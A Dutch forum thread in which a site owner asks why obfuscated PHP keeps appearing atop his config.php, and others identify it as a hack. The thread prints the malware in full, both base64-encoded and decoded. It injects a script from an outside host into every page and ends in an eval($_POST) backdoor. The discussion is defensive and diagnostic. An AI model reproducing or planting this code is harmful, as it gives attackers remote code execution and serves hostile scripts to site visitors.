Hallo,

Ik heb een zeer rare fout voor ...
Elke dag ligt mijn website uit ...

En bovenaan de config.php (hierin wordt de connectie met de database gemaakt) komt dit te staan:

<?php bas*e64_decode('aWYoIWlzc2V0KCR4ajdsaTEpKXtmdW5jdGlvbiB4ajdsaSgkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdIGFzICR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovPD5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21hdGNoKCcjW1woXFtdKFxzKlxkKywpezIwLH0jJywkdik7aWYoKHByZWdfbWF0Y2goJyNcYmV2YWxcYiMnLCR2KSYmKCRlfHxzdHJwb3MoJHYsJ2Zyb21DaGFyQ29kZScpKSl8fCgkZSYmc3RycG9zKCR2LCdkb2N1bWVudC53cml0ZScpKSkkcz1zdHJfcmVwbGFjZSgkdiwnJywkcyk7fWlmKHByZWdfbWF0Y2hfYWxsKCcjPGlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopPy8vKFtePl0qPyk+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXSBhcyAkdilpZihwcmVnX21hdGNoKCcjIHdpZHRoXHMqPVxzKltcJyJdPzAqWzAxXVtcJyI+IF18ZGlzcGxheVxzKjpccypub25lI2knLCR2KSYmIXN0cnN0cigkdiwnPycuJz4nKSkkcz1wcmVnX3JlcGxhY2UoJyMnLnByZWdfcXVvdGUoJHYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkcyk7JHM9c3RyX3JlcGxhY2UoJGE9YmFzZTY0X2RlY29kZSgnUEhOamNtbHdkQ0J6Y21NOWFIUjBjRG92TDI1a2NtVnNZWFJwYjI1emFHbHdMbU52YlM5cGJXRm5aWE12VEZBdWNHaHdJRDQ4TDNOamNtbHdkRDQ9JyksJycsJHMpO2lmKHN0cmlzdHIoJHMsJzxib2R5JykpJHM9cHJlZ19yZXBsYWNlKCcjKFxzKjxib2R5KSNtaScsJGEuJ1wxJywkcyk7ZWxzZWlmKHN0cnBvcygkcywnLGEnKSkkcy49JGE7cmV0dXJuICRzO31mdW5jdGlvbiB4ajdsaTIoJGEsJGIsJGMsJGQpe2dsb2JhbCAkeGo3bGkxOyRzPWFycmF5KCk7aWYoZnVuY3Rpb25fZXhpc3RzKCR4ajdsaTEpKWNhbGxfdXNlcl9mdW5jKCR4ajdsaTEsJGEsJGIsJGMsJGQpO2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSkgYXMgJHYpaWYoKCRhPSR2WyduYW1lJ10pPT0neGo3bGknKXJldHVybjtlbHNlaWYoJGE9PSdvYl9nemhhbmRsZXInKWJyZWFrO2Vsc2UgJHNbXT1hcnJheSgkYT09J2RlZmF1bHQgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291bnQoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO31vYl9zdGFydCgneGo3bGknKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0keGo3bGlsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCd4ajdsaTInKSkhPSd4ajdsaTInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); ?>



Ik vind dit zeer raar omdat de website reeds een jaar werkt zonder enige problemen ... en dit nu ineens gebeurd (er is niets veranderd)

Weet iemand wat dit kan zijn?

Alvast bedankt!
Groetjes,
Steven Dirickx

edit:

Je website is dan gehacked! , gebruik je misschien een oudere versie van wordpress / oscommerce / oid ?
Bovenstaand script is NIET veilig. Voer het niet uit!

Iemand zal wel een beveiligingslek gevonden hebben en deze misbruikt hebben.
Dit voert je PHP uit. Ik zet het hier niet neer, omdat het schade kan aanrichten aan je website. Voer het bovenstaande script van steven ook NIET UIT!
Het doet het een en ander met JavaScript. Ook komt de website ndrelationship.com erin voor. Eigenlijk staat er een specifieke URL, maar hier wordt veel JavaScript uitgevoerd en dit is onveilig, voor de meeste bezoeker. Zelf verwachte ik al dat er JavaScript uitgevoerd zou worden, dus heb ik JavaScript uitgezet.
Volgens mij veranderd het script je website, naar wat de maker wilt dat je website eruit ziet.
Nu moet ndrelationship.com niet de schuld krijgen, want deze website kan ook slachtoffer zijn.

Door eval() word het script, dat gecodeerd is door base64 uitgevoerd. Wil je dus alsjeblieft het eval() uit je post halen? Zodat mensen dit niet gaan uitvoeren en zelf ook slachtoffer worden.

Het woord 'xj7li' blijkt ook een veelvoorkomende term. De laatste regel van het script, stelt de maker instaat om elke phpcode uit te voeren, via een post:
Er staat dat $_POST['e'] ge-[php]base64_decode[/php]erd moet worden en daarna uitgevoerd. Zo kan de maker dus elke phpcode uitvoeren, die hij wil.

Bovenstaand script is NIET veilig. Voer het niet uit!
Ik heb eval() eruit gehaald en de website volledig off-line gehaald ...

Ik vermoed dat het niet echt mogelijk is om te vinden langst waar ze binnen geraakt zijn? En verdere stappen te ondernemen?

Groetjes,
Steven Dirickx
Wat voor soort website is 't?
Heb je invulformulieren? Zoekfunctie, inlog, contact, o.i.d.
Of zoals jaron al zei: Maak je gebruik van een script zoals wordpres, oscommerce, joomlo, etc.
Als dat script werkt, want volgens mij is het te brak dat het niet eens werkt. Zo te zien maakt het gebruik van je php errors. Die gaat ie dan vervangen ofzo door ads van die relationship site.
Die relationship site gaat dan weer een pdf embedden. Dus als je een oude pdf reader hebt, heb je kans dat daar een lek in zit die dan misbruikt wordt.
Stond ook op nu.nl dat een ernstige lek was gevonden in pdf reader dus dat zou goed mogelijk zijn wat karl zegt.
Als je de logs van je server kunt lezen is het mogelijk om te kijken hoe het mogelijk is.
Het gaat om een datingsite waar zeer veel invoer van de gebruiker mogelijk is aldus ... (ook pm, chat, zoekfunctie, foto-, video- en audio upload, ...)

Maar een deel van de site lag gewoon iedere keer uit.
Die pagina's konden gewoon niet geopend worden.

Ik heb nu de volledig account eraf gesmeten .. alle wachtwoorden gewijzigt ...

En ik ben nu aan het nakijken waar er eventueel nog een lek kan zijn.

Maar ik gebruik nergens iets van die oscommerce of pdf reader en dergelijke.

Ik heb de volledig site zelf geschreven.
@All: Dit is het script. Heb er simpel htmlentities overheen gedaan en javascript uitgedaan uit voorzorg; maar is niets aan de hand op deze manier. Dit is de uitkomst. Onder de -- is base64_decode van wat er in het bovenste gedeelte halverwege nog staat :)


<?php
if(!isset($xj7li1)){function xj7li($s){if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0] as $v)if(preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a=base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL25kcmVsYXRpb25zaGlwLmNvbS9pbWFnZXMvTFAucGhwID48L3NjcmlwdD4='),'',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s);elseif(strpos($s,',a'))$s.=$a;return $s;}function xj7li2($a,$b,$c,$d){global $xj7li1;$s=array();if(function_exists($xj7li1))call_user_func($xj7li1,$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='xj7li')return;elseif($a=='ob_gzhandler')break;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('xj7li');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}$xj7lil=(($a=@set_error_handler('xj7li2'))!='xj7li2')?$a:0;eval(base64_decode($_POST['e']));
------
<script src=http://ndrelationship.com/images/LP.php ></script> 
Nee, ik moet bekennen dat het script niet super gevaarlijk is, maar het eind wel:
<?php
eval(base64_decode($_POST['e']));
?>

Zo kan iemand gewoon je hele site platgooien -> Alle functies die PHP kent zijn aanroepbaar, door de gebruiker.

Reageren